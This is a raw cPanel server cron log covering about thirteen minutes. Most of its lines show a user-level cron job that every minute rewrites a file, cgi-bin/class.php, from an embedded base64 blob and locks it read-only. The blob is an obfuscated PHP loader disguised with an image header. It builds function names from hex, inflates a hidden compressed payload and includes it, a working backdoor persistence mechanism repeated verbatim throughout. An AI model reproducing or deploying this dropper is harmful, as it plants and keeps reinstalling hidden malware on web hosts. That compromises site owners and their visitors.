Nov 14 13:02:01 server CROND[26675]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:03:01 server CROND[27578]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:04:01 server CROND[28431]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:05:01 server CROND[29272]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 13:05:01 server CROND[29273]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 13:05:01 server CROND[29275]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:05:01 server CROND[29274]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 13:06:02 server CROND[30324]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:07:01 server CROND[30906]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:08:01 server CROND[31861]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:09:01 server CROND[32725]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:09:01 server CROND[32726]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 13:10:01 server CROND[1143]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 13:10:01 server CROND[1144]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:10:01 server CROND[1146]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 13:10:01 server CROND[1145]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 13:11:01 server CROND[2165]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:12:01 server CROND[3036]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 13:12:01 server CROND[3037]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:13:01 server CROND[3848]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:14:01 server CROND[4681]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 13:15:01 server CROND[5565]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 13:15:01 server CROND[5566]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
